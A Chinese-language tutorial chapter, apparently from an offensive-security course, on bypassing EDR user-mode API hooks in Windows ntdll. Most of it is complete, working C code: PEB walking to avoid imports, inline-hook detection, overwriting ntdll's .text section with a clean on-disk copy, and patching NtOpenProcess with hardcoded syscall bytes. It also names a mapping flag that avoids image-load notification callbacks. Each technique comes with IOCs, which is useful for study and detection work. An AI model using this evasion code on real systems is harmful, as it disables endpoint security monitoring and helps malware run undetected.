Skip to main content

绕过用户态Hooking

在上个小节,我们讨论了 EDR 在用户态设置 Hook 的原理,那么相应地,我们可以根据这原理寻找间隙,实现对用户态 Hook 的绕过。截至目前,已经有多种方法绕过 Hook。不过,Hook 并非 EDR 的全部检测能力的来源,因此绕过 Hook 的这个过程本身可能就会被检测为恶意。不过无论如何,在这个小节,我们会过一下常见的一些用于绕过 Hook 的方法,以及它们的 IOC。在下个小节,我们会继续探讨绕过用户态 Hook 的方法,虽然会更加复杂一些。


检测内联 Hook

内联 Hook 的实施是在要 Hook 的 NTAPI 的 syscall stub 中的 syscall 指令之前用无条件跳转指令覆盖原有指令。不同的 EDR 可能会覆盖不同的指令,例如 CrowdStrike 覆盖的是 mov eax, SSN 这条指令,有的 EDR 覆盖的是 mov r10, rcx 这条指令。

因此,代码的逻辑便很直接,逐一检查 syscall stub 的前 4 个字节。在代码里,我们通过 PEB Walking 的方法在不调用 LoadLibray,GetModuleHandle,GetProcAddress 函数的情况下可以获得 ntdll 模块的地址、给定函数的地址。这么做可以避免 LoadLibray,GetModuleHandle,GetProcAddress 这些函数在 IAT 中的显示。

因为涉及对模块的解析,因此我们也会频繁用到 PE 文件相关的结构体。

#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include <string.h>


//Get module handle for ntdll and kernel32 at the same time
void GetModule(HMODULE* ntdll, HMODULE* kernel32)
{
	PPEB peb = (PPEB)(__readgsqword(0x60));
	PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr;
	PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30);
	*ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10);
	PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry);
	PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry);
	*kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10);
}

BOOL CheckFuncByName(IN HMODULE hModule, const CHAR * funcName)
{
	PBYTE pBase = (PBYTE)hModule;
	PIMAGE_DOS_HEADER	pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return false;
	PIMAGE_NT_HEADERS	pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return false;

	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
	PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
	PWORD  FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
	for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
	{
		CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
		PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
		if (_stricmp(funcName,pFunctionName)==0)
		{
			// Check if the first 4 bytes match 0x4C, 0x8B, 0xD1, and 0xB8
			if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8)
			{
				printf("NTAPI %s may not be hooked\n", funcName);
			}
			else
			{
				printf("NTAPI %s is hooked\n", funcName);
				return true;
			}
			return false;
		}
	}
	return false;
}

int main()
{
	HMODULE ntdll;
	HMODULE kernel32;
	GetModule(&ntdll, &kernel32);
	printf("ntdll base address: %p\n", ntdll);
	printf("kernel32 base address: %p\n", kernel32);
	CheckFuncByName(ntdll,"NtAllocateVirtualMemory");
	CheckFuncByName(ntdll, "NtOpenProcess");
	CheckFuncByName(ntdll, "NtReadVirtualMemory");
	CheckFuncByName(ntdll, "NtWriteVirtualMemory");
    return 0;
}

编译后,使用 WinDBG 来调试该程序,通过手动修改 NtOpenProcess 的第一条指令来模拟 hook。程序也成功地检测出 NtOpenProcess API 的指令被纂改。

image.png


替换 .text 节

我们知道 PE 文件的 .text 节是可执行代码的区域,权限是 RX。既然特定 NTAPI 被 hook 了,只要用干净的 ntdll 的 .text 节来覆盖,那么我们就会得到干净的代码,自然可以实现 unhook。

因此,我们首先要获得载入的 ntdll 模块的地址,这个我们已经用代码实现了。然后我们从磁盘读取 ntdll 文件,并存储在缓冲区中。需要注意的是,存储在缓冲区中的 ntdll 的内容是基于磁盘中的形式,即尚未映射到内存中。这样,我们有了 2 份不同的 ntdll 的地址,一份是被 hook 的,一份是干净的;一份是映射在内存中的,一份是基于磁盘形式的。因此,在将干净 ntdll 文件中的 .text 节覆盖被 hook 的 ntdll 的 .text 节时,我们需要稍加注意 PointerOfRawData 与 VirtualAddress,SizeOfRawData 与 VirtualSize。

typedef struct _IMAGE_SECTION_HEADER {
    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME
    union {
            DWORD   PhysicalAddress;
            DWORD   VirtualSize;
    } Misc;
    DWORD   VirtualAddress;
    DWORD   SizeOfRawData;
    DWORD   PointerToRawData;
    DWORD   PointerToRelocations;
    DWORD   PointerToLinenumbers;
    WORD    NumberOfRelocations;
    WORD    NumberOfLinenumbers;
    DWORD   Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

以下面截图中的 ntdll 为例,在本地磁盘时,文件偏移为 0x400,尺寸为 0x11920。当被载入至内存时,RVA 是 0x1000,尺寸为 0x1190ce。我们需要注意到这差异。

image.png

因为两者 .text 节的尺寸有轻微不同,为了保险起见,我们适用尺寸更大的 .text 节来覆盖。之所以考虑这点,我是担心如果干净的 .text 节尺寸更小,那么没有完全覆盖,载入的 ntdll 的代码区还会有少量代码残留,可能在特定情况下导致意想不到的结果。尽管在本案例中干净的代码区尺寸更大,但在其他的操作系统版本可能是相反的情况,所以我们依旧需要考虑到。

#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
#include <string.h>

void GetModule(HMODULE* ntdll, HMODULE* kernel32)
{
	PPEB peb = (PPEB)(__readgsqword(0x60));
	PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr;
	PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30);
	*ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10);
	PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry);
	PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry);
	*kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10);
}

BOOL CheckFuncByName(IN HMODULE hModule, const CHAR* funcName)
{
	PBYTE pBase = (PBYTE)hModule;
	PIMAGE_DOS_HEADER	pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return false;
	PIMAGE_NT_HEADERS	pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return false;

	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
	PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
	PWORD  FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
	for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
	{
		CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
		PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
		if (_stricmp(funcName, pFunctionName) == 0)
		{
			// Check if the first 4 bytes match 0x4C, 0x8B, 0xD1, and 0xB8
			if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8)
			{
				printf("NTAPI %s may not be hooked\n", funcName);
			}
			else
			{
				printf("NTAPI %s is hooked\n", funcName);
				return true;
			}
			return false;
		}
	}
	return false;
}


int main()
{
	HMODULE ntdll;
	HMODULE kernel32;
	GetModule(&ntdll, &kernel32);
	printf("ntdll base address: %p\n", ntdll);
	printf("kernel32 base address: %p\n", kernel32);
	CheckFuncByName(ntdll, "NtOpenProcess");

	HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		printf("[!] CreateFileA Failed With Error : %d \n\n", GetLastError());
		return -1;
	}
	DWORD dwFileLen = GetFileSize(hFile, NULL);
	DWORD dwNumberOfBytesRead;
	PVOID pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileLen);
	if (!ReadFile(hFile, pNtdllBuffer, dwFileLen, &dwNumberOfBytesRead, NULL) || dwFileLen != dwNumberOfBytesRead)
	{
		printf("[!] ReadFile Failed With Error : %d \n\n", GetLastError());
		return -1;
	}
	if (hFile)
	{
		CloseHandle(hFile);
	}


	PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdll;
	PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdll + hookedDosHeader->e_lfanew);
	PIMAGE_DOS_HEADER CleanDosHeader = (PIMAGE_DOS_HEADER)pNtdllBuffer;
	PIMAGE_NT_HEADERS CleanNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)pNtdllBuffer + CleanDosHeader->e_lfanew);

	for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++)
	{
		PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
		PIMAGE_SECTION_HEADER CleanSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(CleanNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

		if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text"))
		{
			LPVOID hookedTextSection = (LPVOID)((DWORD_PTR)ntdll + (DWORD_PTR)hookedSectionHeader->VirtualAddress);
			LPVOID CleanTextSection = (LPVOID)((DWORD_PTR)pNtdllBuffer + (DWORD_PTR)CleanSectionHeader->PointerToRawData);
			size_t size_TextSection = (hookedSectionHeader->Misc.VirtualSize > CleanSectionHeader->SizeOfRawData) ? hookedSectionHeader->Misc.VirtualSize : CleanSectionHeader->SizeOfRawData;
			DWORD oldProtection = 0;
			bool isProtected = VirtualProtect(hookedTextSection, size_TextSection, PAGE_EXECUTE_READWRITE, &oldProtection);
			memcpy(hookedTextSection, CleanTextSection, size_TextSection);
			isProtected = VirtualProtect(hookedTextSection, size_TextSection, oldProtection, &oldProtection);
		}
	}
	CheckFuncByName(ntdll, "NtOpenProcess");
	return 0;
}

编译后,我们使用 WinDBG 来调试该程序,为了模拟 hook,我们手动修改 NtOpenProcess API 的第一条指令,并且确认了该修改是成功的。在程序运行结束后,查看该 API,发现代码被恢复成原有的了。因此,通过替换 .text 节,我们可以实现对用户态 Hook 的绕过。

image.png

值得一提的是,我发现其他利用此方法的代码里,作者们用了 CreateFileMapping 与 MapViewOfFile 来将干净的 ntdll 载入至内存中。

HANDLE CreateFileMappingA(
  [in]           HANDLE                hFile,
  [in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
  [in]           DWORD                 flProtect,
  [in]           DWORD                 dwMaximumSizeHigh,
  [in]           DWORD                 dwMaximumSizeLow,
  [in, optional] LPCSTR                lpName
);

LPVOID MapViewOfFile(
  [in] HANDLE hFileMappingObject,
  [in] DWORD  dwDesiredAccess,
  [in] DWORD  dwFileOffsetHigh,
  [in] DWORD  dwFileOffsetLow,
  [in] SIZE_T dwNumberOfBytesToMap
);

使用这些 WinAPI 时,因为映像被映射到内存中,因此 Windows 加载器会适用变更的对齐系数,导致 .text 的偏移也不同。如果 CreateFileMappingA 的 flProtext 参数没有包含 SEC_IMAGE SEC_IMAGE_NO_EXECUTE 标志,则不会适用新的对齐。但SEC_IMAGE_NO_EXECUTE 标志还是会更好一些,因为它不会触发 PsSetLoadImageNotifyRoutine 回调。这意味着当 ntdll.dll 被映射到内存时,使用此标志不会提醒接收映像载入通知例程的安全产品。

hSection = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, NULL, NULL, NULL);
if (hSection == NULL) {
	printf("[!] CreateFileMappingA Failed With Error : %d \n", GetLastError());
	return -1;
}

// mapping the view of file of ntdll.dll
pNtdllBuffer = MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL);
if (pNtdllBuffer == NULL) {
	printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
	return -1;
}

好,我们来讨论下该方法存在的 IOC:

  1. 从磁盘中读取 ntdll.dll 对于良性程序来说比较可疑
  2. 在 unhook 之前,我们需要用到一些敏感的函数,例如 VirtualProtect,WriteProcessMemory(可用于代替 VirtualProtect 和 memcpy 组合) 等
  3. EDR 可以验证载入的 ntdll 的完整性以判断是否遭到了纂改

拓展

我们是从磁盘中读取 ntdll,其实我们还可以从 KnownDlls 目录、远程 web 服务器上读取。请查询资料以及所需的 API 的用法,进行实现作为练习。


补丁 NTAPI

相比替换整个 ntdll 模块的 .text 节,我们可以选择只补丁我们所需的且被 hook 的函数,这样,补丁的动作会相对小一些。相比之前的代码,我们可以硬编码或者动态地获得目标 NTAPI 的 syscall stub 指令字节,其实区别只在于 SSN。至于如何动态地获取 SSN,我们会在下一小节进行讲解,因此这里我们就硬编码 NtOpenProcess 的 syscall stub 好了。

需要略加注意的是,对于给定的函数,其地址很大概率不是与内存页对齐的,幸运的是,像 VirtualAlloc、VirtualProtect 这类函数会自动帮我们适用向下最近的页的地址。

image.png

对于代码,我们只需要增加硬编码的 NTAPI 的 syscall stub,以及对 CheckFuncByName 稍加修改。

#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
#include <string.h>

void GetModule(HMODULE* ntdll, HMODULE* kernel32)
{
	PPEB peb = (PPEB)(__readgsqword(0x60));
	PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr;
	PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30);
	*ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10);
	PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry);
	PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry);
	*kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10);
}

BOOL CheckFuncByName(IN HMODULE hModule, const CHAR* funcName, unsigned char* cleanNTAPI)
{
	PBYTE pBase = (PBYTE)hModule;
	PIMAGE_DOS_HEADER	pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return false;
	PIMAGE_NT_HEADERS	pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return false;

	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
	PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
	PWORD  FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
	for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
	{
		CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
		PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
		if (_stricmp(funcName, pFunctionName) == 0)
		{
			// Check if the first 4 bytes match 0x4C, 0x8B, 0xD1, and 0xB8
			if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8)
			{
				printf("NTAPI %s may not be hooked\n", funcName);
			}
			else
			{
				printf("NTAPI %s is hooked, its address is 0x%x\n", funcName, pFunctionAddress);
				DWORD_PTR pageStart = ((DWORD_PTR)pFunctionAddress / 0x1000) * 0x1000;
				printf("Start address of the page is 0x%x\n", pageStart);
				DWORD oldProtection = 0;
				bool isProtected = VirtualProtect((PBYTE)pageStart, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtection);
				memcpy(pFunctionAddress, cleanNTAPI, 0xb);
				isProtected = VirtualProtect((PBYTE)pageStart,0x1000, oldProtection, &oldProtection);
				return true;
			}
			return false;
		}
	}
	return false;
}


int main()
{
	HMODULE ntdll;
	HMODULE kernel32;
	GetModule(&ntdll, &kernel32);
	printf("ntdll base address: %p\n", ntdll);
	printf("kernel32 base address: %p\n", kernel32);
	unsigned char cleanNtOpenProcess[] = "\x4c\x8b\xd1\xb8\x26\x00\x00\x00\x0f\x05\xc3";
	CheckFuncByName(ntdll, "NtOpenProcess",cleanNtOpenProcess);
	CheckFuncByName(ntdll, "NtOpenProcess",cleanNtOpenProcess);
	return 0;
}

代码的 syscall stub 中保存的是最精简的指令,因为这足以成功发起 syscall。总之,通过补丁给定被 hook 的函数指令,可以实现对想要的函数进行 unhook。

image.png

对于此方法,虽然比替换整个代码区动静要小一些,但因为原理相似,论 IOC 其实是差不多的。


从挂起的进程中载入纯净 ntdll 模块

我们还可以通过读取挂起进程中载入的 ntdll 来获得纯净的副本,并用于 unhook。当进程以挂起或者被调试的状态被创建,此时只有 ntdll 被载入,EDR 还未来得及注入其检视 API 调用的模块。

image.png

在这之后,我们可以通过 ReadProcessMemory 来读取载入的 ntdll 模块的代码区。要能精准地获取干净副本的代码区并实现 unhook,我们可以通过以下的步骤实现:

  1. 使用 NtQueryInformationProcess API 获得远程挂起进程的 PEB 地址
  2. 通过 PEB Walking 的方法获得远程进程中载入的纯净 ntdll 地址。因为是远程进程,步骤会不那么直接一些。
  3. 因为都是已经载入到内存的 ntdll,解析当前载入的 ntdll 模块(即被 hook 的) 从而获取代码区的 RVA 以及尺寸
  4. 从纯净的 ntdll 模块的代码区开始读取,直到读取字节数达到尺寸
  5. 覆盖被 hook 的代码区实现 unhook

知道了原理与流程后,作为一道练习题,请学员们尝试自行完成完整代码,并分析该方法有哪些 IOC。